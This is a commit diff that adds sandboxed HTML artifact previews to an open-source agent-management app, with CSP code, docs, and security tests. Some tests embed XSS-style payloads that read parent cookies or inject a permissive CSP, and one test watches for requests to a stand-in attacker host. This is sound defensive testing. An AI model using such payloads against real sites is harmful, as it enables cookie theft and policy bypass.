The open-source app everyone uses to manage agents at work
TypeScript acpxagent-orchestrationagent-skillsagentic-aiai-agentsai-engineeringai-governanceai-toolsautonomous-agentsclaudeclaude-codeclaude-skillscodexhermesllmmcpmulti-agentopenclawproject-managementworkflow-automation
feat(ui): render HTML artifacts in a secure sandbox (#15447)
Dotta1640c5b6abe7
diff --git a/doc/DEVELOPING.md b/doc/DEVELOPING.mdindex c8cca2fc2e..cc6c53791c 100644--- a/doc/DEVELOPING.md+++ b/doc/DEVELOPING.md@@ -103,6 +103,11 @@ pnpm build-storybookThese run the `@paperclipai/ui` Storybook on port `6006` and build the static output to `ui/storybook-static/`.+**HTML artifacts** covers secure rendered/raw attachment previews, interactive+reports, security probes, workspace previews, and opening a report from a task.+See [HTML artifact previews](html-artifact-previews.md) for the security boundary,+supported content, and browser verification command.+**Composer → New task** includes agent/user/project/task mentions, skill androutine slash commands, and populated rich chips on desktop and mobile. Agentmentions use the same avatars in suggestions, inserted chips, and the mockeddiff --git a/doc/SPEC-implementation.md b/doc/SPEC-implementation.mdindex 5fc5c9a361..9fb9c80d7f 100644--- a/doc/SPEC-implementation.md+++ b/doc/SPEC-implementation.md@@ -487,6 +487,7 @@ Operational policy:- Attachment reads are company-scoped and expose stable path metadata: `contentPath`/`openPath` for inline-safe viewing and `downloadPath` for forced download.- Inline-safe responses use `Content-Disposition: inline`; unsafe types and explicit download requests use `attachment`.- Script-capable content such as HTML is always served as an attachment with `X-Content-Type-Options: nosniff` and a sandboxed, deny-by-default CSP; it is never rendered inline on the Paperclip origin.+ - The board can fetch bounded HTML source for a rich preview in an opaque-origin iframe (`sandbox="allow-scripts"`, without `allow-same-origin`). A trusted CSP precedes artifact markup and blocks remote subresources, API connections, forms, and embeds. Rendered/raw icons sit beside Download. Workspace HTML previews return UTF-8 inside JSON under the existing text limits. See `doc/html-artifact-previews.md`.- Video attachments are inline-safe and support single `Range: bytes=start-end` requests with `206`, `Content-Range`, and `Accept-Ranges: bytes` for browser playback/seeking.- Attachment-backed artifact work products use `type: "artifact"`, `provider: "paperclip"`, and metadata with `attachmentId`, `contentType`, `byteSize`, `contentPath`, `openPath`, `downloadPath`, and optional `originalFilename`.- Workspace-only file references use work product `metadata.resourceRef` with `kind: "workspace_file"`, `issueId`, `workspaceKind` (`execution_workspace` or `project_workspace`), `workspaceId`, `relativePath`, optional `line`/`column`, and `displayPath`. These references point at files in a workspace; they do not replace attachment-backed artifacts for deliverables that must be inspectable without workspace access.diff --git a/doc/SPEC.md b/doc/SPEC.mdindex ccdf5dcb72..a346d7abcd 100644--- a/doc/SPEC.md+++ b/doc/SPEC.md@@ -489,6 +489,10 @@ No separate "agent API" vs. "board API." Same endpoints, different authorizationPaperclip manages task-linked work artifacts: issue documents (rich-text plans, specs, notes attached to issues) and file attachments. Agents read and write these through the API as part of normal task execution. Full delivery infrastructure (code repos, deployments, production runtime) remains the agent's domain — Paperclip orchestrates the work, not the build pipeline.+Self-contained HTML reports can render in an opaque-origin sandbox. The report+cannot access the board's cookies, storage, or DOM. Users can switch to the raw+source beside Download, which returns the original file.+Users may start a task with only a prompt. Paperclip uses a short prompt slice asits initial title and asks the assigned agent to name the task early. Explicituser titles are preserved, and naming does not change task execution state.diff --git a/doc/html-artifact-previews.md b/doc/html-artifact-previews.mdnew file mode 100644index 0000000000..cfb9fafbe9--- /dev/null+++ b/doc/html-artifact-previews.md@@ -0,0 +1,43 @@+# HTML artifact previews++HTML attachments and workspace `.html`/`.htm` files open rendered by default.+The eye and code icons beside Download switch between the report and its original+source. Download always returns the original file. Empty and oversized attachments+use the existing text-viewer states and limits.++The shared `HtmlArtifactPreview` uses `srcdoc` in an iframe with+`sandbox="allow-scripts"`. **Never add `allow-same-origin`.** Its opaque origin+prevents artifact JavaScript from reading Paperclip cookies, storage, or the parent+DOM. Forms, popups, downloads from inside the frame, and top navigation are not+granted. The host does not accept messages or privileged requests from artifacts.++A trusted CSP is installed before any artifact markup. It permits inline scripts+and styles for self-contained tables, charts, filtering, and other report controls.+It blocks API connections, remote scripts/styles/images/fonts/media, child frames,+objects, base URLs, and form submissions. Embedded data images/fonts/media work.+An artifact's own CSP cannot weaken the first policy. No artifact HTML is parsed+or inserted into the host DOM. The iframe sends no referrer.++This supports self-contained reports. Reports that need CDN libraries or external+resources must embed them instead. Ordinary external links cannot open new tabs+or navigate the host. The sandbox does allow navigation within the artifact frame;+its opaque-origin restrictions remain after navigation. This is not a claim of+complete network isolation or protection against resource exhaustion by scripts.++Attachment HTTP serving retains forced download, `nosniff`, and its existing+sandbox CSP. Workspace previews return bounded UTF-8 inside JSON, and workspace+downloads retain `Content-Disposition: attachment`. No database or API shape changes+are needed.++Review **HTML artifacts** in Storybook for the production viewer, security probes,+workspace panel/file sheet, and a task-to-report journey. Run the browser security+checks with:++```sh+pnpm exec playwright test --config tests/html-preview/playwright.config.ts+```++These checks use Chromium and simulated report data. They verify working report+controls, raw mode, cookie/storage/parent access denials, blocked resource and API+requests, and denied top navigation/popups. They do not replace testing the actual+attachment journey in a running Paperclip instance.diff --git a/server/src/__tests__/file-resources.test.ts b/server/src/__tests__/file-resources.test.tsindex 2748e28d22..e1aea92c81 100644--- a/server/src/__tests__/file-resources.test.ts+++ b/server/src/__tests__/file-resources.test.ts@@ -995,7 +995,7 @@ describeEmbeddedPostgres("workspace file resources", () => {expect(linkedSecret.status).toBe(403);});- it("rejects denied paths, non-regular files, oversized text, binary, and HTML while previewing SVG as source", async () => {+ it("rejects denied paths, non-regular files, oversized text and binary while returning HTML and SVG as text", async () => {const { projectRoot, executionRoot } = await makeWorkspace();const graph = await seedGraph(db, { projectRoot, executionRoot });await fs.mkdir(path.join(projectRoot, ".git"), { recursive: true });@@ -1014,7 +1014,7 @@ describeEmbeddedPostgres("workspace file resources", () => {isInstanceAdmin: false,});- for (const filePath of [".git/config", "folder", "big.txt", "blob.bin", "index.html"]) {+ for (const filePath of [".git/config", "folder", "big.txt", "blob.bin"]) {const res = await request(app).get(`/api/issues/${graph.issueId}/file-resources/content`).query({ workspace: "project", path: filePath });@@ -1026,6 +1026,19 @@ describeEmbeddedPostgres("workspace file resources", () => {expect(svg.status).toBe(200);expect(svg.body.resource.previewKind).toBe("text");expect(svg.body.content.data).toContain("<svg");+ const html = await request(app)+ .get(`/api/issues/${graph.issueId}/file-resources/content`)+ .query({ workspace: "project", path: "index.html" });+ expect(html.status).toBe(200);+ expect(html.headers["content-type"]).toContain("application/json");+ expect(html.headers["x-content-type-options"]).toBe("nosniff");+ expect(html.body.resource).toMatchObject({ contentType: "text/html", previewKind: "text", capabilities: { preview: true } });+ expect(html.body.content).toEqual({ encoding: "utf8", data: "<script>alert(1)</script>" });+ const downloaded = await request(app)+ .get(`/api/issues/${graph.issueId}/file-resources/content`)+ .query({ workspace: "project", path: "index.html", download: "1" });+ expect(downloaded.status).toBe(200);+ expect(downloaded.headers["content-disposition"]).toBe('attachment; filename="index.html"');});it("rejects remote workspaces without fetching provider resources", async () => {diff --git a/server/src/services/workspace-file-resources.ts b/server/src/services/workspace-file-resources.tsindex 31c6eb0df3..9b57cfe345 100644--- a/server/src/services/workspace-file-resources.ts+++ b/server/src/services/workspace-file-resources.ts@@ -359,7 +359,8 @@ function previewKindForKnownContentType(contentType: string | null): WorkspaceFiif (contentType.startsWith("image/") && contentType !== "image/svg+xml") return "image";if (contentType.startsWith("video/")) return "video";if (contentType === "application/pdf") return "pdf";- if (contentType === "text/html") return "unsupported";+ // HTML is returned as bounded UTF-8 in the JSON content response. The UI+ // renders it only in its opaque-origin sandbox; downloads stay attachments.if (contentType === "image/svg+xml" || contentType.startsWith("text/")) return "text";return "unsupported";}diff --git a/tests/html-preview/html-preview.spec.ts b/tests/html-preview/html-preview.spec.tsnew file mode 100644index 0000000000..1a304f4d81--- /dev/null+++ b/tests/html-preview/html-preview.spec.ts@@ -0,0 +1,65 @@+import { expect, test } from "@playwright/test";++test("interactive reports work and rendered/raw controls preserve the original download", async ({ page }) => {+ await page.goto("/iframe.html?id=html-artifacts-01-preview--interactive-report&viewMode=story");+ const report = page.frameLocator('iframe[title="repository-usage.html rendered HTML"]');+ await expect(report.getByRole("cell", { name: "juspay/hyperswitch", exact: true })).toBeVisible();+ await report.getByPlaceholder("Search repositories").fill("storybook");+ await expect(report.getByText("1 qualifying repositories")).toBeVisible();+ await expect(report.getByRole("cell", { name: "juspay/hyperswitch", exact: true })).toHaveCount(0);+ const original = await page.getByRole("link", { name: "Download repository-usage.html" }).getAttribute("href");+ await page.getByRole("button", { name: "Raw", exact: true }).click();+ await expect(page.locator("iframe[title$='rendered HTML']")).toHaveCount(0);+ await expect(page.getByLabel("repository-usage.html raw text")).toContainText("<script>");+ expect(await page.getByRole("link", { name: "Download repository-usage.html" }).getAttribute("href")).toBe(original);+ await page.getByRole("button", { name: "Rendered", exact: true }).click();+ await expect(report.getByText("6 qualifying repositories")).toBeVisible();+});++test("artifact JavaScript cannot read cookies, host DOM or storage, submit forms, escape or load resources", async ({ page, context }) => {+ await context.addCookies([{ name: "html-preview-cookie", value: "host-secret", url: "http://127.0.0.1:6189" }]);+ const attempts: string[] = [];+ await context.route("**/*", async route => {+ const url = route.request().url();+ if (url.includes("html-preview-attacker.invalid") || url.includes("/api/html-preview-probe")) {+ attempts.push(url);+ return route.abort();+ }+ return route.continue();+ });+ await page.goto("/iframe.html?id=html-artifacts-01-preview--security-checks&viewMode=story");+ const report = page.frameLocator('iframe[title="isolation-checks.html rendered HTML"]');+ for (const probe of ["Cookies", "Parent document", "Parent cookies", "Local storage", "Session storage", "Top navigation", "Popups", "API request", "Remote request"]) {+ await expect(report.getByText(`${probe}: blocked`, { exact: true })).toBeVisible();+ }+ await expect(report.getByText(/UNEXPECTED ACCESS/)).toHaveCount(0);+ expect(attempts).toEqual([]);+ expect(context.pages()).toHaveLength(1);+ expect(page.url()).toContain("security-checks");+ expect(await page.evaluate(() => document.cookie)).toContain("host-secret");+});++test("workspace panel and file sheet use the same renderer and adjacent view controls", async ({ page }) => {+ for (const story of ["task-panel", "file-sheet"]) {+ await page.goto(`/iframe.html?id=html-artifacts-02-workspace--${story}&viewMode=story`);+ const report = page.frameLocator('iframe[title="repository-usage.html rendered HTML"]');+ await expect(report.getByText("6 qualifying repositories")).toBeVisible();+ await page.getByRole("button", { name: "Raw", exact: true }).click();+ await expect(page.locator("iframe[title$='rendered HTML']")).toHaveCount(0);+ await expect(page.getByRole("region", { name: "repository-usage.html source" })).toContainText("<script>");+ await page.getByRole("button", { name: "Rendered", exact: true }).click();+ await expect(report.getByText("6 qualifying repositories")).toBeVisible();+ }+});++test("opening an HTML artifact from a task shows its interactive report", async ({ page }) => {+ await page.goto("/iframe.html?id=html-artifacts-03-task-journey--open-from-task&viewMode=story");+ await page.getByRole("button", { name: "Open in tab: Interactive repository usage report" }).click();+ const report = page.frameLocator('iframe[title="repository-usage.html rendered HTML"]');+ await expect(report.getByText("6 qualifying repositories")).toBeVisible();+ await report.getByPlaceholder("Search repositories").fill("storybook");+ await expect(report.getByText("1 qualifying repositories")).toBeVisible();+ await page.getByRole("button", { name: "Raw", exact: true }).click();+ await expect(page.getByLabel("repository-usage.html raw text")).toContainText("<script>");+ await expect(page.getByRole("link", { name: "Download repository-usage.html" })).toHaveAttribute("href", /report\.html/);+});diff --git a/tests/html-preview/playwright.config.ts b/tests/html-preview/playwright.config.tsnew file mode 100644index 0000000000..87442f1fdc--- /dev/null+++ b/tests/html-preview/playwright.config.ts@@ -0,0 +1,17 @@+import { defineConfig } from "@playwright/test";++export default defineConfig({+ testDir: ".",+ outputDir: "./test-results",+ timeout: 60_000,+ workers: 1,+ reporter: "list",+ use: { browserName: "chromium", baseURL: "http://127.0.0.1:6189", viewport: { width: 1200, height: 900 } },+ webServer: {+ command: "node ui/node_modules/storybook/dist/bin/dispatcher.js dev -p 6189 --host 127.0.0.1 --exact-port -c ui/storybook/.storybook --ci",+ cwd: "../..",+ url: "http://127.0.0.1:6189/index.json",+ reuseExistingServer: true,+ timeout: 120_000,+ },+});diff --git a/ui/src/components/FilePreviewModeToggle.tsx b/ui/src/components/FilePreviewModeToggle.tsxnew file mode 100644index 0000000000..702f2c5797--- /dev/null+++ b/ui/src/components/FilePreviewModeToggle.tsx@@ -0,0 +1,21 @@+import { Code2, Eye } from "lucide-react";+import { Button } from "@/components/ui/button";++export type FilePreviewMode = "rendered" | "raw";++export function FilePreviewModeToggle({ mode, onChange, label }: {+ mode: FilePreviewMode;+ onChange: (mode: FilePreviewMode) => void;+ label: string;+}) {+ return (+ <div className="flex gap-1" role="group" aria-label={label}>+ <Button type="button" size="icon-sm" variant={mode === "rendered" ? "secondary" : "ghost"} aria-label="Rendered" title="Rendered" aria-pressed={mode === "rendered"} onClick={() => onChange("rendered")}>+ <Eye aria-hidden />+ </Button>+ <Button type="button" size="icon-sm" variant={mode === "raw" ? "secondary" : "ghost"} aria-label="Raw" title="Raw" aria-pressed={mode === "raw"} onClick={() => onChange("raw")}>+ <Code2 aria-hidden />+ </Button>+ </div>+ );+}diff --git a/ui/src/components/FileViewerSheet.tsx b/ui/src/components/FileViewerSheet.tsxindex 3d742ad013..fedbac839f 100644--- a/ui/src/components/FileViewerSheet.tsx+++ b/ui/src/components/FileViewerSheet.tsx@@ -47,6 +47,9 @@ import {} from "@/context/FileViewerContext";import { WorkspaceFileBrowser } from "@/components/WorkspaceFileBrowser";import { WorkspaceFileMarkdownBody } from "@/components/WorkspaceFileMarkdownBody";+import { HtmlArtifactPreview } from "@/components/HtmlArtifactPreview";+import { FilePreviewModeToggle, type FilePreviewMode } from "@/components/FilePreviewModeToggle";+import { isHtmlPreview } from "@/lib/html-preview";import type {ResolvedWorkspaceResource,WorkspaceFileContent,@@ -234,13 +237,16 @@ interface FileContentViewerProps {content: WorkspaceFileContent;highlightedLine: number | null;onLoaded?: (summary: string) => void;+ htmlMode?: FilePreviewMode;}type MarkdownPreviewMode = "raw" | "rendered";-export function FileContentViewer({ content, highlightedLine, onLoaded }: FileContentViewerProps) {+export function FileContentViewer({ content, highlightedLine, onLoaded, htmlMode = "rendered" }: FileContentViewerProps) {const { resource } = content;const isMarkdown = resource.previewKind === "text" && content.content.encoding === "utf8" && isMarkdownResource(resource);+ const isHtml = resource.previewKind === "text" && content.content.encoding === "utf8"+ && isHtmlPreview(resource.contentType, resource.displayPath || resource.title);const [markdownMode, setMarkdownMode] = useState<MarkdownPreviewMode>("rendered");const lines = useMemo(() => {if (resource.previewKind === "text") {@@ -265,7 +271,7 @@ export function FileContentViewer({ content, highlightedLine, onLoaded }: FileCoif (markdownMode !== "raw") return;if (!highlightedLine || !highlightedLineRef.current) return;highlightedLineRef.current.scrollIntoView({ block: "center", behavior: "auto" });- }, [highlightedLine, markdownMode]);+ }, [highlightedLine, markdownMode, htmlMode]);if (resource.previewKind === "image") {const dataUrl = content.content.encoding === "base64"@@ -373,6 +379,10 @@ export function FileContentViewer({ content, highlightedLine, onLoaded }: FileCo</div>);+ if (isHtml) {+ return htmlMode === "raw" ? rawSourceView : <HtmlArtifactPreview html={content.content.data} title={resource.title} />;+ }+if (!isMarkdown) {return rawSourceView;}@@ -493,6 +503,8 @@ export function FileViewerSheet({typeof openProp === "boolean" ? openProp : state !== null || showPromptWhenEmpty || viewer.browse;const [elapsedMs, setElapsedMs] = useState(0);+ const [htmlMode, setHtmlMode] = useState<FilePreviewMode>("rendered");+ useEffect(() => setHtmlMode("rendered"), [state?.path, state?.workspace, state?.workspaceId, state?.projectId]);const [copiedField, setCopiedField] = useState<"content" | "link" | null>(null);const [copyingField, setCopyingField] = useState<"content" | "link" | null>(null);const [copyFeedback, setCopyFeedback] = useState("");@@ -767,6 +779,10 @@ export function FileViewerSheet({Back to files</Button>) : null}+ {contentQuery.data?.resource.previewKind === "text" && contentQuery.data.content.encoding === "utf8"+ && isHtmlPreview(contentQuery.data.resource.contentType, contentQuery.data.resource.displayPath || contentQuery.data.resource.title) ? (+ <FilePreviewModeToggle mode={htmlMode} onChange={setHtmlMode} label="HTML view" />+ ) : null}{state ? (downloadUrl ? (<Button@@ -887,6 +903,7 @@ export function FileViewerSheet({elapsedMs={elapsedMs}canPreview={canPreview}highlightedLine={state.line ?? null}+ htmlMode={htmlMode}onRetry={handleRetry}onSetAnnouncement={setAnnouncement}onFallbackToProject={@@ -934,6 +951,7 @@ interface FileViewerBodyProps {onRetry: () => void;onSetAnnouncement: (message: string) => void;onFallbackToProject: null | (() => void);+ htmlMode?: FilePreviewMode;}export function FileViewerBody({@@ -945,6 +963,7 @@ export function FileViewerBody({onRetry,onSetAnnouncement,onFallbackToProject,+ htmlMode,}: FileViewerBodyProps) {if (resolveQuery.isFetching && !resolveQuery.data) {return <LoadingView elapsedMs={elapsedMs} />;@@ -1043,6 +1062,7 @@ export function FileViewerBody({content={contentQuery.data}highlightedLine={highlightedLine}onLoaded={onSetAnnouncement}+ htmlMode={htmlMode}/>);}diff --git a/ui/src/components/HtmlArtifactPreview.tsx b/ui/src/components/HtmlArtifactPreview.tsxnew file mode 100644index 0000000000..b528302413--- /dev/null+++ b/ui/src/components/HtmlArtifactPreview.tsx@@ -0,0 +1,18 @@+import { useMemo } from "react";+import { htmlPreviewDocument } from "@/lib/html-preview";++export function HtmlArtifactPreview({ html, title }: { html: string; title: string }) {+ const srcDoc = useMemo(() => htmlPreviewDocument(html), [html]);+ return (+ <iframe+ title={`${title} rendered HTML`}+ srcDoc={srcDoc}+ // Never add allow-same-origin: the opaque origin is the cookie/storage+ // and parent-DOM security boundary, including after frame navigation.+ sandbox="allow-scripts"+ referrerPolicy="no-referrer"+ allow="camera 'none'; microphone 'none'; geolocation 'none'; clipboard-read 'none'; clipboard-write 'none'; fullscreen 'none'"+ className="block h-full min-h-0 w-full flex-1 border-0 bg-background"+ />+ );+}diff --git a/ui/src/components/task-side-panel/TaskAttachmentPanel.test.tsx b/ui/src/components/task-side-panel/TaskAttachmentPanel.test.tsxindex 00431d9137..a2726b25d0 100644--- a/ui/src/components/task-side-panel/TaskAttachmentPanel.test.tsx+++ b/ui/src/components/task-side-panel/TaskAttachmentPanel.test.tsx@@ -63,6 +63,40 @@ describe("text attachment tabs", () => {expect(host.querySelector('a[aria-label="Download notes.txt"] svg')).not.toBeNull();await act(async () => root.unmount());});+ it("renders HTML in an opaque sandbox, switches to literal source, and keeps download beside the controls", async () => {+ const html = '<h1>Report</h1><script>parent.document.cookie</script>';+ const host = document.createElement("div"); const root = createRoot(host);+ await act(async () => root.render(<TextAttachmentPreview title="report.html" markdown={false} html text={html} downloadUrl="/download" />));+ const frame = host.querySelector("iframe");+ expect(frame?.getAttribute("sandbox")).toBe("allow-scripts");+ expect(frame?.getAttribute("referrerpolicy")).toBe("no-referrer");+ expect(frame?.getAttribute("srcdoc")).toContain("Content-Security-Policy");+ expect(host.querySelector("script")).toBeNull();+ const toggle = host.querySelector('[aria-label="HTML view"]');+ expect(toggle?.nextElementSibling?.getAttribute("href")).toBe("/download");+ await act(async () => host.querySelector<HTMLButtonElement>('[aria-label="Raw"]')!.click());+ expect(host.querySelector("iframe")).toBeNull();+ expect(host.querySelector("pre")?.textContent).toBe(html);+ expect(host.querySelector('[aria-label="Raw"]')?.getAttribute("aria-pressed")).toBe("true");+ await act(async () => host.querySelector<HTMLButtonElement>('[aria-label="Rendered"]')!.click());+ expect(host.querySelector("iframe")).not.toBeNull();+ await act(async () => root.unmount());+ });+ it("opens HTML from an authorized attachment and resets the view for the next file", async () => {+ const fetch = vi.fn(); vi.stubGlobal("fetch", fetch);+ const client = new QueryClient({ defaultOptions: { queries: { staleTime: Infinity, retry: false } } });+ client.setQueryData(queryKeys.issues.attachments("task"), ["one", "two"].map(id => ({ id, originalFilename: `${id}.html`, contentType: "text/html", byteSize: 20, contentPath: `/api/attachments/${id}/content` })));+ for (const id of ["one", "two"]) client.setQueryData(["task-text-attachment", "task", id], `<h1>${id}</h1>`);+ const host = document.createElement("div"); const root = createRoot(host);+ const panel = (id: string) => <QueryClientProvider client={client}><TaskAttachmentPanel issueId="task" attachmentId={id} /></QueryClientProvider>;+ await act(async () => root.render(panel("one")));+ expect(host.querySelector("iframe")?.getAttribute("title")).toBe("one.html rendered HTML");+ await act(async () => host.querySelector<HTMLButtonElement>('[aria-label="Raw"]')!.click());+ await act(async () => root.render(panel("two")));+ expect(host.querySelector("iframe")?.getAttribute("title")).toBe("two.html rendered HTML");+ expect(fetch).not.toHaveBeenCalled();+ await act(async () => root.unmount()); client.clear();+ });it("rejects HTTP errors, oversized responses and binary data", async () => {await expect(readTextPreview(new Response("denied", { status: 403 }))).rejects.toThrow("403");await expect(readTextPreview(new Response("x".repeat(TEXT_PREVIEW_MAX_BYTES + 1)))).rejects.toThrow("too large");diff --git a/ui/src/components/task-side-panel/TaskAttachmentPanel.tsx b/ui/src/components/task-side-panel/TaskAttachmentPanel.tsxindex 9b2760dea9..dea605ae63 100644--- a/ui/src/components/task-side-panel/TaskAttachmentPanel.tsx+++ b/ui/src/components/task-side-panel/TaskAttachmentPanel.tsx@@ -1,9 +1,12 @@import { useState } from "react";import { useQuery } from "@tanstack/react-query";-import { Code2, Download, Eye } from "lucide-react";+import { Download } from "lucide-react";import { issuesApi } from "@/api/issues";import { Button } from "@/components/ui/button";import { MarkdownBody } from "@/components/MarkdownBody";+import { HtmlArtifactPreview } from "@/components/HtmlArtifactPreview";+import { FilePreviewModeToggle, type FilePreviewMode } from "@/components/FilePreviewModeToggle";+import { isHtmlPreview } from "@/lib/html-preview";import { attachmentDownloadPath, isMarkdownAttachment, isTextAttachment } from "@/lib/issue-attachments";import { queryKeys } from "@/lib/queryKeys";@@ -34,34 +37,28 @@ export async function readTextPreview(response: Response) {}}-export function TextAttachmentPreview({ title, text, markdown, downloadUrl }: {+export function TextAttachmentPreview({ title, text, markdown, html = false, downloadUrl }: {title: string;text: string;markdown: boolean;+ html?: boolean;downloadUrl: string;}) {- const [raw, setRaw] = useState(false);+ const [mode, setMode] = useState<FilePreviewMode>("rendered");+ const renderHtml = html && mode === "rendered" && text.length > 0;return (<div className="flex h-full min-h-0 flex-col"><header className="flex items-center gap-2 border-b border-border px-3 py-2"><h2 className="min-w-0 flex-1 truncate text-sm font-medium" title={title}>{title}</h2>- {markdown ? (- <div className="flex gap-1" role="group" aria-label="Markdown view">- <Button size="icon-sm" variant={raw ? "ghost" : "secondary"} aria-label="Rendered" title="Rendered" aria-pressed={!raw} onClick={() => setRaw(false)}>- <Eye aria-hidden />- </Button>- <Button size="icon-sm" variant={raw ? "secondary" : "ghost"} aria-label="Raw" title="Raw" aria-pressed={raw} onClick={() => setRaw(true)}>- <Code2 aria-hidden />- </Button>- </div>- ) : null}+ {markdown || html ? <FilePreviewModeToggle mode={mode} onChange={setMode} label={html ? "HTML view" : "Markdown view"} /> : null}<Button asChild variant="ghost" size="icon-sm"><a href={downloadUrl} download aria-label={`Download ${title}`} title={`Download ${title}`}><Download aria-hidden /></a></Button></header>- <div className="min-h-0 flex-1 overflow-auto p-4">+ <div className={renderHtml ? "flex min-h-0 flex-1 flex-col overflow-hidden" : "min-h-0 flex-1 overflow-auto p-4"}>{text.length === 0 ? <p className="text-sm text-muted-foreground">File is empty.</p>- : markdown && !raw ? <MarkdownBody mediaMode="reference">{text}</MarkdownBody>+ : renderHtml ? <HtmlArtifactPreview html={text} title={title} />+ : markdown && mode === "rendered" ? <MarkdownBody mediaMode="reference">{text}</MarkdownBody>: <pre className="whitespace-pre-wrap break-words font-mono text-sm" aria-label={`${title} raw text`}>{text}</pre>}</div></div>@@ -99,5 +96,5 @@ export function TaskAttachmentPanel({ issueId, attachmentId }: { issueId: string);}if (content.data === undefined) return <p className="p-4 text-sm" role="status">Loading file…</p>;- return <TextAttachmentPreview title={attachment.originalFilename ?? attachment.id} text={content.data} markdown={isMarkdownAttachment(attachment)} downloadUrl={downloadUrl} />;+ return <TextAttachmentPreview key={attachment.id} title={attachment.originalFilename ?? attachment.id} text={content.data} markdown={isMarkdownAttachment(attachment)} html={isHtmlPreview(attachment.contentType, attachment.originalFilename)} downloadUrl={downloadUrl} />;}diff --git a/ui/src/components/task-side-panel/TaskWorkspaceFilePanel.tsx b/ui/src/components/task-side-panel/TaskWorkspaceFilePanel.tsxindex 4c776e94bb..802195472b 100644--- a/ui/src/components/task-side-panel/TaskWorkspaceFilePanel.tsx+++ b/ui/src/components/task-side-panel/TaskWorkspaceFilePanel.tsx@@ -1,9 +1,11 @@-import { useState } from "react";+import { useEffect, useState } from "react";import { useQuery } from "@tanstack/react-query";import { Check, Copy, Download } from "lucide-react";import { fileResourcesApi } from "@/api/file-resources";import { FileViewerBody, FileViewerMetadataRow } from "@/components/FileViewerSheet";import { Button } from "@/components/ui/button";+import { FilePreviewModeToggle, type FilePreviewMode } from "@/components/FilePreviewModeToggle";+import { isHtmlPreview } from "@/lib/html-preview";import type { FileViewerUrlState } from "@/context/FileViewerContext";import { copyTextToClipboard } from "@/lib/clipboard";import { queryKeys } from "@/lib/queryKeys";@@ -22,6 +24,8 @@ export function TaskWorkspaceFilePanel({}) {const [copied, setCopied] = useState(false);const [announcement, setAnnouncement] = useState("");+ const [htmlMode, setHtmlMode] = useState<FilePreviewMode>("rendered");+ useEffect(() => setHtmlMode("rendered"), [payload.path, payload.workspace, payload.workspaceId, payload.projectId]);const state: FileViewerUrlState = {path: payload.path,workspace: payload.workspace,@@ -72,6 +76,10 @@ export function TaskWorkspaceFilePanel({{copied ? <Check aria-hidden /> : <Copy aria-hidden />}</Button>) : null}+ {contentQuery.data?.resource.previewKind === "text" && contentQuery.data.content.encoding === "utf8"+ && isHtmlPreview(contentQuery.data.resource.contentType, contentQuery.data.resource.displayPath || contentQuery.data.resource.title) ? (+ <FilePreviewModeToggle mode={htmlMode} onChange={setHtmlMode} label="HTML view" />+ ) : null}{downloadUrl ? (<Button asChild variant="ghost" size="icon-sm"><a href={downloadUrl} download={resource?.title} aria-label="Download file" title="Download file">@@ -95,6 +103,7 @@ export function TaskWorkspaceFilePanel({}}onSetAnnouncement={setAnnouncement}onFallbackToProject={onFallbackToProject ?? null}+ htmlMode={htmlMode}/></div></div>diff --git a/ui/src/lib/html-preview.test.ts b/ui/src/lib/html-preview.test.tsnew file mode 100644index 0000000000..f9c9d5064e--- /dev/null+++ b/ui/src/lib/html-preview.test.ts@@ -0,0 +1,25 @@+import { describe, expect, it } from "vitest";+import { HTML_PREVIEW_CSP, htmlPreviewDocument, isHtmlPreview } from "./html-preview";+import { isTextAttachment } from "./issue-attachments";++describe("HTML artifact previews", () => {+ it("recognizes HTML MIME types and filenames including generic uploaded files", () => {+ for (const [type, name] of [["text/html; charset=utf-8", "report"], ["TEXT/HTML", "report"], ["application/xhtml+xml", "report"], ["application/octet-stream", "report.HTML"], ["text/plain", "report.htm"]]) {+ expect(isHtmlPreview(type, name)).toBe(true);+ expect(isTextAttachment({ contentType: type, originalFilename: name })).toBe(true);+ }+ expect(isHtmlPreview("text/plain", "notes.txt")).toBe(false);+ expect(isHtmlPreview("text/markdown", "report.md")).toBe(false);+ });+ it("puts the trusted policy before adversarial complete documents without parsing in the host DOM", () => {+ const html = '</head><meta http-equiv="Content-Security-Policy" content="default-src *"><script>parent.document.cookie</script>';+ const doc = htmlPreviewDocument(html);+ expect(doc.indexOf(`content="${HTML_PREVIEW_CSP}"`)).toBeLessThan(doc.indexOf(html));+ expect(doc).toContain("connect-src 'none'");+ expect(doc).toContain("form-action 'none'");+ expect(doc).toContain("base-uri 'none'");+ expect(doc).toContain("frame-src 'none'");+ expect(doc).not.toContain("script-src 'self'");+ expect(doc).not.toContain("unsafe-eval");+ });+});diff --git a/ui/src/lib/html-preview.ts b/ui/src/lib/html-preview.tsnew file mode 100644index 0000000000..6a906f8359--- /dev/null+++ b/ui/src/lib/html-preview.ts@@ -0,0 +1,28 @@+/** HTML previews are documents, never nodes in the Paperclip DOM. */+export function isHtmlPreview(contentType: string | null | undefined, filename: string | null | undefined) {+ const type = contentType?.toLowerCase().split(";")[0].trim();+ return type === "text/html" || type === "application/xhtml+xml" || /\.html?$/i.test(filename ?? "");+}++// Inline scripts support self-contained reports/charts. No origin privileges,+// external scripts, API calls, forms, embeds, or remote subresources are granted.+// Multiple CSPs intersect; artifact markup cannot loosen this first policy.+export const HTML_PREVIEW_CSP = [+ "default-src 'none'",+ "script-src 'unsafe-inline'",+ "style-src 'unsafe-inline'",+ "img-src data:",+ "font-src data:",+ "media-src data:",+ "connect-src 'none'",+ "frame-src 'none'",+ "object-src 'none'",+ "base-uri 'none'",+ "form-action 'none'",+].join("; ");++export function htmlPreviewDocument(html: string) {+ // Install the policy before ANY untrusted markup is parsed. Do not parse the+ // artifact in the host document (even detached DOMs can load resources).+ return `<!doctype html><html><head><meta charset="utf-8"><meta http-equiv="Content-Security-Policy" content="${HTML_PREVIEW_CSP}"><meta name="referrer" content="no-referrer"></head><body>${html}</body></html>`;+}diff --git a/ui/src/lib/issue-attachments.ts b/ui/src/lib/issue-attachments.tsindex 31977a6891..6d0c8d020d 100644--- a/ui/src/lib/issue-attachments.ts+++ b/ui/src/lib/issue-attachments.ts@@ -1,6 +1,7 @@import type { IssueAttachment } from "@paperclipai/shared";import { isMarkdownAttachmentContent } from "@paperclipai/shared";import { isImageLikeOutput, isVideoLikeOutput } from "./issue-output";+import { isHtmlPreview } from "./html-preview";type AttachmentPathLike = {contentPath: string;@@ -47,6 +48,7 @@ export function isTextAttachment(attachment: {}) {const type = attachment.contentType.toLowerCase().split(";")[0].trim();return isMarkdownAttachmentContent(attachment)+ || isHtmlPreview(type, attachment.originalFilename)|| type.startsWith("text/")|| 